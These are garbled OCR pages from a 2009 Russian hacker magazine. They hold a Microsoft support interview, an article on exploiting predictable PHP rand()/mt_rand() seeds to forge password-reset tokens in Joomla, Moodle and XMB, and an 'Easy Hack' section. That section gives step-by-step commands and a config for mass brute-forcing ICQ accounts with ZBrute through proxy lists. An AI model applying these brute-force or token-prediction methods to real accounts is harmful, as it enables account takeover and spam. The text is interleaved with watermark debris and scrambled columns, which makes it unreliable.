Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
16.73 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Microsoft®

Fix it

ИНТЕРВЬЮ С ИНЖЕНЕРАМИ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Чтобы узнать больше о работе инженеров — самых главных специалистов по поддержке — мы решили задать им несколько вопросов напрямую. Ребята оказались очень веселыми и с радостью прокомментировали интересующие нас моменты.

Q:Часто ли случается, что проблема пользователя связана с неизвестными ранее ошибками в продуктах компании? Можете вспомнить конкретный случай и дать его описание?

A:Бывает. Как сказано в тексте лицензии MS, «никакой продукт не свободен от ошибок». Бета-тестирование и предпродажное распространение, конечно, убирают основную шероховатость, но не было бы аббревиатуры SP (1,2...6), не находи пользователи ошибки в процессе эксплуатации.

Обращения, связанные с ошибками, единичны и составляют считанные промилле (в них еще измеряют алкоголь в крови водителя:)). Пользователю, обратившемуся с проблемой, признанной впоследствии ошибкой, обычно рекомендуют workaround (обходное решение) или предлагают ждать выхода отдельного исправления или пакета исправлений (SP).

Например, в русской версии Visio 2007 клавиши навигации («стрелки») были перепутаны местами. Т.е. курсор «ехал» не туда. Баг пофиксили только в Microsoft Office Visio SP2. Internet Explorer 8.0 не сохраняет cookies для двухбуквенных доменов. Ранее, для IE6.0/7.0 требуемый домен мог быть добавлен в реестр вручную. На данный момент двухбуквенные домены жестко вшиты в библиотеку dll, которая будет обновляться через

Windows Update.

Q:Каким образом удается смоделировать проблему пользователя на машине инженера службы поддержки? Какой софт используется, что лежит в его основе?

A:Моделирование проблем пользователей происходит в виртуальной среде. Используются Microsoft Virtual PC или встроенный в 2008-й сервер функционал Hyper-V — для эмуляции систем с различной разрядностью. Инженер проходит по шагам, которые привели пользователя к проблеме. Если проблема воспроизводится — ищем готовое решение, изобретаем новое или передаем проблему узким специалистам. Если и они не находят решения

— признаем ошибку в продукте. Если повторить ошибку не удает-

ся — уточняем детали и пробуем снова. Можем, конечно, и подключиться к пользователю удаленно, чтобы самим посмотреть на последовательность его действий.

Q: Интересно услышать про механизм удаленного подключения к рабочему столу пользователя. Как реализована эта возможность? Насколько часто приходится к ней прибегать и всегда ли на такое подключение соглашается пользователь?

A: Для удаленного подключения к рабочему столу используется инструмент Microsoft Easy Assist. Инженер дает пользователю ссылку на веб-страницу Easy Assist. На этой странице пользователь загружает и устанавливает клиентскую часть программы — ActiveX компонент. После этого инженер имеет возможность наблюдать за действиями пользователя, а с дополнительного разрешения пользователя может взять в свои руки управление компьютером. Для предупреждения паранойи инженер постоянно комментирует свои действия: «format c:, ok»?

После окончания сессии юзер может оставить ActiveX-компонент впрок или удалить с машины.

Используется Easy Assist далеко не всегда. Эффективнее всего задействовать его, когда известно точное решение проблемы, а просить пользователя выполнять эти действия пошагово будет дольше, чем выполнить самому. Или, как говорили выше, когда инженеру надо лично посмотреть на шаги пользователя, ведущие к ошибке. Как правило, пользователи соглашаются на такое взаимодействие.

Q:Создаются ли какие-нибудь «точки возврата» на случай, если во время решения проблемы пользователь напортачит еще сильнее?

A:Пользователь сам отвечает за сохранность данных. Вместе с тем, перед радикальными изменениями в системе инженеры рекомендуют создать точку восстановления системы для последующего отката или советуют сохранить личную информацию.

Q:Что делает инженер, если проблему пользователя решить не удается?

A:Если инженер уперся в пределы своей компетентности, он всегда может проконсультироваться с более узкими специалистами внутри компании. Вместе с тем, такая консультация (да если в нее еще и вовлечены иностранные коллеги) может растянуться на дни и недели. Хотя это и приведет к нахождению решения, тут уже пользователю приходится решать — продолжать научноисследовательскую работу или, скажем, откатить систему на момент до возникновения ошибки или переустановить продукт. Ведь для данного конкретного юзера решение проблемы — это не обязательно фиксация бага в продукте, а просто «нет проблемы — нет проблемы».

XÀÊÅÐ 07 /127/ 09

039

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

w Click

 

BUY

>>m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

RAND

взлом

IS NOT RAND

 

RAND

RAND

IS NOT RAND

 

IS NOT RAND

RAND

 

IS NOT RAND

 

RAND

RAND

IS NOT RAND

IS NOT RAND

RAND

IS NOT RAND

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

СЛУЧАЙНОСТИ IS NOT RAND

 

ELECT

 

RAND

 

НЕСЛУЧАЙНЫ

RAND

 

IS NOT RAND

ФАТАЛЬНАЯ ОШИБКА РАНДОМИЗАЦИИ ВPHP

ЕщегодназадСтефанЭссерповедалмируопредсказуемостигенерациислучайныхчиселвPHP. Но, какэточастобывает, разработчики, даипрограммисты, невсегдаадекватнореагируютнабюллетени безопасности(ктобыих, вообще, читал, аеслиичитал, точиталвнимательно…). Чтоэто? Лень? Человеческийфактор? Нежеланиепризнаватьиисправлятьсвоиошибки? Какбытонибыло, генераторслучайныхчиселPHP по-прежнемуостаетсяпредсказуем.

>> взлом

Дляправильногопониманиясутиуязвимости вспомним,чтонамужедолжнобытьизвестноиз статейСтефанаЭссера,M4G'aиRaz0r'a.Материалвстатьях,намойвзгляд,представленподробно,нонесколькоразбросанно.Ставяодинза другимэкспериментыиразобравшисьвдеталях уязвимости,янабросалкраткийкурспоизучению. Полагаю,этопоможеттебеболеечеткопредставитьсутьбагиивникнутьвтонкостипроцесса.

НЕМНОГОТЕОРИИ

ВPHP длягенерациислучайныхчиселисполь- зуетсянесосед-программист, каквбородатом анекдоте, адвебазовыхфункциинавыбор: rand() иmt_rand(). Втораяпредпочтительнеек использованиюввидубольшейпсевдослучайностигенератора. Благодарязакономерностям вгенерациизначенийвозможныатакинакод,

использующийэтифункции, например, при генерацииилисбросепаролей. Поясним, как этоможноиспользовать, вызвавуязвимость. Во-первых, энтропияпоследующеговызова rand (mt_rand) зависитотрезультатапредыдущеговызовафункции, именнопоэтомуалгоритмпсевдослучаен. ОднаконачальныйSEED можнозадатьчерезфункциюсприставкой

's': srand (mt_srand). Тоесть, знаяначальный

SEED, мыможемповторитьгенерациюна любомкомпьютере, сгенерироваввсюцепочку якобыслучайныхвызововrand (mt_rand), и получить приэтомабсолютнотежечисла, что иворигинальномприложениинаудаленном сервере. Во-вторых, начальныйSEED зачастую черезsrand (mt_srand) вообщенезадают(по забывчивостииличеловеческойглупости).

Аеслифункцияsrand (mt_srand) небыла

вызвана(либовызванабезпараметров), то PHP задаетначальныйSEED самостоятельно. Проблемавтом, чтотакойSEED непревышает числа2^32, аэточисломожнобанальноперебрать. Разберемсявособенностяхгенерации, когданачальныйSEED задаетсяPHP самостоятельноввидуотсутствиявызоваsrand (mt_srand). Главнаяособенностьrand (srand)

заключаетсявтом, чтодляфункцийвозвращаемыйрезультатразличенпод*nix иWindows.

ПРАКТИКУЕМУЯЗВИМОСТЬ

Результатпредыдущеговызоваrand() используетсявчистомвидекакначальныйSEED для следующеговызоваrand(). Посути:

"$SEED=rand();srand($seed);$SEED=r and();...".

040

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

RAND

 

w

 

 

 

 

 

 

IS NOT RAND

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

RAND

IS NOT RAND

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

LOG EXPLOIT: XMB 1.9.11 RANDOM PASSWORD RESET VULNERABILITY

Этооченьполезнознать, таккакнетребуется искатьначальныйSEED, ведьегоможнопросто получитьчерезвыводрезультатаrand(), если

таковойимеется.

Здесьвсепредельнопросто: имеемвывод rand() — имеемначальныйSEED.

ПодWINDOWS результатвызоваrand() (азначит, иначальныйSEED) непревышаетчисло 32767. Милыйсердцубаг, — результатможно какдвабайтаперебрать(спасибоRaz0r'уза исследование).

Под*NIX всенемногосложнее— максимальноечислоSEED составляет2^32.

Отмечу, чтодляmt_rand (mt_srand) имеет значениеверсияPHP.

ДляPHP 4.x.x<=5.2.0 множествовариантов значений, возвращаемыхmt_rand(), составляет2^31. Именно31 — такназываемый«баг единички»:

"mt_rand(1)=mt_rand(2);mt_ rand(3)=mt_rand(4);...".

МаксимальныйначальныйSEED непревышает числа2^32, ноиз-заповторяющихсязначений количествокомбинацийнапорядокменьше (2^31). Этона50% ускоряетскоростьбрута. ДляPHP >=5.2.1 множествовариантоввозвращаемыхзначенийmt_rand() составляет 2^32. МаксимальныйначальныйSEED, какив предыдущемслучае— mt_rand(2^32), ноколичествокомбинацийздесьполное(2^32).

ОСОБЕННОСТЬ ПЕРЕКРЕСТНОГОВЛИЯНИЯ

Функцииrand (srand) иmt_rand (mt_srand)

никакневлияютдругнадруга. Тоесть, вызов srand() неповлияетнарезультатmt_rand() и наоборот. Этобываетважно, когдавприложе- ниипокакой-либопричинеиспользуютсяоба вариантагенератора.

Дляосуществленияатакитребуютсяследующиеосновныеусловия:

1.Мыдолжныпрямоиликосвенноиметьвывод rand (srand, mt_rand, mt_srand) длявычисле-

нияначальногоSEED.

2.СервердолженподдерживатьKeep-Alive соединения.

3.PHP долженработатькакмодульапача(не cgi инеfastcgi).

PUNBB 1.2.16 BLIND PASSWORD

RECOVERYANDRAND VULNERABILITY

4.Адскийпатчбезопасностисухошина (suhoshin) недолженбытьустановлен. ПривыполнениивсехусловийPHP-про- цесс, обслуживающийсоединениесобоими субдоменами, будетоднимитемже. Этодаст

зависимостьмеждувызовамифункцийгенераторов.

ВБОЙ!

Дляначалавспомним, какпроводилисьатаки годичнойдавности:

1.Веб-приложениеможетсамоиметьпрямой, либокосвенныйвыводрезультатаработы генератора.

Данномуслучаюсоответствуетэксплоитпод Wordpress посредствомвосстановления паролязарегистрированномуюзеру, азатеми администратору(milw0rm.com/exploits/6421).

Соответственно, изпочтыюзерузнаеттокен восстановленияпароля, гдепосамомутокену вычисляетсяначальныйSEED.

2.Возможноосуществитькросс-атакучерез веб-приложение, расположенноенасубдомене данногосервера.

НаданномпринципеоснованэксплоитRaz0r'a кWordpress'учерезPhpBB насубдомене, где PhpBB выводитmt_rand врезультатахпоиска

(raz0r.name/wp-content/uploads/2008/08/wp1. html).

3.НачальныйSEED можнополучитьлобовым брутфорсомлибобрутфорсомпопредварительносгенерированнойрадужнойтаблицеготовых значенийвызововrand (mt_rand).

Какпример, эксплоитRaz0r'a «SMF<=1.1.5 Admin Reset Password Exploit (win32)» для WINDOWS (raz0r.name/articles/magiya- sluchajnyx-chisel-chast-2).

Итак, чтообщегомеждуэтимиалгоритмами? Пункт#3, пожалуй, исключение, ввидуособенностиrand() вWindows ибрутфорса, присущего, такилииначе, всемпредставленнымалгоритмам. Нопервыедваоснованынаотсутствии вызоваsrand (mt_srand). Онибазируются именнонаэтом, апофакту— накриптографическойуязвимостигенераторапсевдослучайныхчиселвPHP, из-занедостаточнобольшого начальногоSEED 2^32(2^31).

ПАТЧНАПАТЧ, ИЛИКАКНЕНАДОДЕЛАТЬ

ЧтожесделалисоздателиPHP, дабызащитить нас? НачинаясPHP 5.2.6, начальныйSEED сталмногобольше— угадать(перебрать)

егопрактическиневозможно. Казалосьбы, проблемарешена. Акакнасчетпредсказуемости? Предсказуемостьпсевдослучайности

MOODLE 1.X RANDOM PASSWORD RESET TOKEN VULNERABILITY

отпредыдущихвызововосталасьтакойже, как ибыла! Почемуэтонепоказалосьразработчикамкосякомвреализациипсевдослучайности

— одномуБогуизвестно. Нофактестьфакт— зависимостьосталась, ихакерыпродолжают питьшампанское. Интересно, почему?

АНТИДОТ, ИЛИРЕШЕНИЕПРОБЛЕМЫ

Атакинаmt_rand() проходятвстиле«угадайначальныйSEED исгенерируйпонему mt_rand()». Аеслиmt_srand() задается изначально, казалосьбы— баганет. Ноэто нетак! Именноблагодаряпоследовательной зависимости(предсказуемости) генера-

цииmt_rand()Æmt_rand()Æmt_rand()Æ...,

атакастановитсявозможной. Послевызова mt_srand() ватакуемомприложениинеобхо- димовKeep-alive-соединенииобратитьсяк взломанномусубдоменунасервересвызовом

«print mt_rand();». ПолучивзначениеN-го вызоваmt_rand() послеустановкиmt_srand(), остаетсялишьперебратьлокальнозначения mt_srand(SEED) ивосстановитьцепочку, пока N-йвызовmt_rand() небудетравенполученномуссубдомена. НайденныйSEED будетсоответствоватьискомому, ипонемумысгенерируемсамтокен(пароль) из(N-1) mt_rand(). Выход насамомделепрост. Все, чтотребуетсяот программиста, дабызащититьсвоетворение,

— этоповторновызватьsrand (mt_srand) после вызоваrand (mt_rand).

ГЛУМИМСЯНАДДВИЖКАМИ

Насталовремярассмотретьтедвижки, накоторыхсамБогвелелэксплуатироватьнайденную уязвимость.

• Joomla Weak Random Password Reset Token Vulnerability.

Уязвимостьjoomla<=1.5.6 заключаетсяв10-ти миллионахкомбинацийвозможныхтокенов сбросапароля. КакдемонуСтефануудалось перебрать10 млн. вариантовтокеновсдо- машнегоDSL-каналаза3 часа— дляменятак иостанетсязагадкой. Начинаясверсии1.5.7, разработчикиввели2^32 (crc32) комбинаций токенов. Однако, переборщикпустьи10 миллионовтокенов, по-моемунереален. Ното, чтов последнейверсииджумлытокенгенерируется уязвимымкатакенаmt_rand() черезкросприложения\субдомен— этофакт.

• Moodle 1.x mt_rand() Admin Reset Password Exploit.

XÀÊÅÐ 07 /127/ 09

041

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

взлом

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

RAND

IS NOT RAND

RAND

IS NOT RAND

 

 

RAND

RAND

 

IS NOT RAND

 

RAND

IS NOT RAND

RAND

IS NOT RAND

 

IS NOT RAND

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

RAND

 

 

 

 

 

IS NOT RANDBUY

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

STEFAN ESSER: MT_SRAND AND NOT SO RANDOM NUMBERS

PHP GENERATE_SEED() WEAK RANDOM NUMBER SEED VULNERABILITY

JOOMLA WEAK RANDOM PASSWORD RESET TOKEN VULNERABILITY

 

77^8. Но реальное количество комбинаций ограничено srand(). При

 

эксперименте установлено, что практически нигде нет чистого

 

вызова srand() или mt_srand(). Как ни удивительно, это хорошо. В

 

случае вызова «mt_srand ((double) microtime() * 1000000);» придет-

LOG EXPLOIT: JOOMLA WEAK RANDOM PASSWORD

ся перебирать лишь 1 млн. комбинаций, а не 4 млрд., как при дефол-

товом вызове. А значит, и криптостойкость генерации не превышает

RESET TOKEN VULNERABILITY

1 млн. комбинаций. — XMB 1.9.x mt_rand() Admin Reset Password

 

Exploit. И снова баг засел в системе восстановления пароля. При

Приналичиишелланасубдоменеможновосстановитьтокенсброса

знании пары «Username + E-Mail» генерируется новый пароль и тут

пароля, вызвавmt_rand() ипосчитавSEED дляmt_srand(). Послечего

же устанавливается. На e-mail отправляется уведомление с самим

сброситьпарольпонайденномутокену, нопарольуйдетнамылоадми-

паролем. Если у нас имеется шелл на поддомене — можно вызвать

на, имыегонеувидим. Даифункциягенерациипаролясовсемдругая

mt_rand в Keep-alive-соединении и восстановить начальное значе-

— онаосновананаsrand(). Этокакразтотсамыйслучай, когдавпри-

ние SEED для mt_srand. Подбор SEED при этом занимает считанные

ложениииспользуютсяобагенератора. Вверсии1.9.x веткивалго-

секунды.

ритмгенерациипаролядобавленрежимповышеннойбезопасности.

ПОБЕДАЗАХАКЕРАМИ

Так, впростомрежимеиспользуетсяалгоритм«word1+num+word2»,

гдеnum — числоиз0123456789, аword1 иword — словаизсловаря.

…иэтодалеконевесьсписок. Зайдинаgoogle.com/

Словарьрасположенвlib/wordlist.txt (доступенпрямоизWeb) иподе-

codesearch?q=mt_srand(%5C%20|)+%5C(%20lang:php иэксперимен-

фолтусодержит35 слов. Итого, возможновсеголишь35*10*35=12250

тируйсам. Патчаттакиебаги, какпоказалагодоваяпрактика, — кри-

комбинацийнезависимоотrand() иsrand(). Еслинайтиспособобойти

во, нетольковеб-программисты, ноисамиразработчикиPHP. Правят

блокировкуприбрутфорсепаролей— можносброситьиперебрать

либоавто-SEED, апропредсказуемостьзабывают(недобавляют

его.

внешнююэнтропиювродеmd5(microtime()) илиMySQL’овый'select

В режиме повышенной безопасности символы перемешиваются

rand()' ит.д.), либоправятпредсказуемостьизабываютпроавто-

посредством str_shuffle(), которая зависит от srand(). Количество

SEED. Вобщем, хотеликаклучше, аполучилоськаквсегда. Хакеры

вариантов без учета rand() и srand() громадно — чуть меньше, чем

опятьрулятмиромиразбитымиPHP-движками. z

LOG EXPLOIT: XMB 1.9.11 RANDOM PASSWORD RESET VULNERABILITY

042

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

w Click

to

 

 

 

 

взлом

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

Easy

Hack

ХАКЕРСКИЕ

 

 

 

 

СЕКРЕТЫ

 

 

 

 

ПРОСТЫХ

 

 

 

 

ВЕЩЕЙ

 

 

 

 

ЛЕОНИД «R0ID» СТРОЙКОВ

M0R0

MUXX

 

/ R0ID@MAIL.RU /

/ M0R0@INBOX.RU /

/ MUXX@BK.RU /

 

 

 

 

 

 

 

 

 

 

 

ЗАДАЧА: ВРУЧНУЮПРОПАТЧИТЬ №1 IM-КЛИЕНТQUTIM ДЛЯРАБОТЫС

НОВОЙВЕРСИЕЙICQ-ПРОТОКОЛА

РЕШЕНИЕ:

ВпоследнеевремяперебоивработеICQ нередкость. Связаноэтовпервую очередьспостояннымиобновлениямипротокола, вследствиечегобольшинствонеофициальныхклиентовпопроступерестаюткорректноработать. Еслиувладельцевквипаиликрысыестьвыход— ждатьпатч, тообладателям qutim’анадеятьсяненачто, кромекакнасамихсебя. Впрочем, пропатчить утилусамостоятельнонетаксложно, дляэтогоследуетпроизвестиряднехитрыхманипуляций:

1.Патчимфайлoscarprotocol.cpp, аименно:

@@-46,7 +46,7 @@ oscarProtocol::oscarProtocol(const QStri

connectionSocket = new QTcpSocket(this);

 

 

 

 

 

 

 

buffer = new icqBuffer(this);

 

Патчимqutim

buffer->open(QIODevice::ReadWrite);

 

 

 

- flapSeqNum = rand() % 0x8000;

 

QByteArray seq;

+ flapSeqNum = 0x0000;

 

- quint16 num = rand() % 0xffff;

reqSeq = 0x0000;

 

+ quint16 num = 0x000;

keepAlive = true;

 

seq[0] = num / 0x100;

connectBos = false;

 

seq[1] = num % 0x100;

 

 

return seq;

2. ВносимизменениявфайлclientIdentification.cpp (87-аястрока):

 

 

 

 

3. Каквариантрешенияпроблемыдлястороннихклиентов— изменение

 

 

@@ -84,7 +84,7 @@

 

первоначальногозначенияSequence Number на0. Кстати, данныйспособ

QByteArray clientIdentification::getSeqNumber() const

 

былобнаруженbiophreak’ом, такчтоприжеланиитыможешьнагуглить

{

 

дополнительнуюинфупотеме.

 

 

 

 

 

 

 

 

 

 

 

 

 

№2

ЗАДАЧА: ОРГАНИЗОВАТЬБРУТ

 

 

 

 

 

 

 

 

- Наличие файла конфигура-

 

 

 

АСЕК

 

 

öèè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

РЕШЕНИЕ:

 

 

 

 

Большевсегонасинтересует, ес-

 

Спам-рассылкипоасямвпоследнеевремяприобретаютмассовыйхарактер,

 

 

тественно, первыйпункт— возмож-

 

причем, особойпопулярностьюуспамеровпользуютсяуин-листыс6-ти/7-мизнач-

Брутимаси

 

ностькомпиляцииподниксамии

 

 

 

 

ныминомерками. Такчто, какникрути, аагитироватьзаспамянестану, также, как

 

 

виндой. Чтобыутебяневозникало

 

нестануагитироватьизафлудасекнеприятелей. Темнеменее, отомкаксбрутить

лишнихвопросов, сейчасмыподробнорассмотримпроцессустановки,

 

несколькосотен/тысячicq-номерков— расскажу, идаженебудуспрашивать, зачем

настройкиизапускатулзыподразнымиосями. Начнемсвинды:

 

онитебенужны:). Итак, первоесчемнамнужноопределиться— этософт. Дабыне

1. СливаемутилуснашегоDVD (желательнонаудаленныйдедик).

 

зацикливатьсянаодномконкретномпродукте, ярешилостановитьвыборнадвух

2. Копируемехе-шниквнужнуюнамдиру, например, C:\ZBrute.

 

хорошозарекомендовавшихсебясофтинах— ZBrute иUBrute. Начнем, какводит-

3. Запускаемпрогуизконсоли:

 

 

 

ся, попорядку. ЕслиговоритькороткоофункционалеZBrute, тоследуетвыделить:

 

 

 

 

 

 

 

 

C:\ZBrute\ZBrute.exe -o C:\ZBrute\settings.txt

 

 

- Возможность компиляции под *nix и Windows ОС

 

 

 

 

 

 

 

Кактыдогадался, вфайлеsettings.txt содержатсянастройкибрутера, о

 

- Наличие консольного динамического интерфейса

 

 

- Поддержка удаленной консоли

 

которыхмыпоговоримпозже. Асейчасрассмотримпошаговуюинсталяцию

 

- Работа с сокс 4/5 и https-прокси

 

софтиныв*nix-системе:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

044

 

 

 

 

XÀÊÅÐ 07 /127/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

1.Сливаемсорецбрутераzbrute.c снашегоДВД(можешьсмелозаюзать одинизсвоихниксовыхсерверов:).

2.Компилируемспомощьюgcc наниксовоймашине:

# gcc -lpthread zbrute.c -o zbrute

либо:

#gcc -pthread zbrute.c -o zbrute

3.Навыходеполучаембинарникzbrute вуказанномкаталоге.

4.Всепараметрызапускасовпадаютсвиндовыми.

Теперьнемногооконфиге— settings.txt. Рекомендуюобратитьвниманиена такиепараметры, как:

# Source file

sourcelist = 'C:\zbrute\source.txt' //ñóðñ-ëèñò

# Good file

goodlist = 'C:\zbrute\gd.txt' //good-лист с валидными парами уин:пасс

# HTTPS proxy file

httpslist = 'C:\zbrute\proxy.txt' //прокси-лист

#Socks5 proxy file

#socks5list = '' //ñîêñ5-ëèñò

#Socks4 proxy file

#socks4list = '' //ñîêñ4-ëèñò

#Threads amount

threads = 150 //потоки

Полагаю, проблемсэксплуатациейневозникнетитыбезтрудасоберешь нехилуюбазуномерков:). Амыплавнопереходимковторойутиле— UBrute. Дляначалаофункционале:

 

 

 

 

hang

e

 

 

 

 

 

 

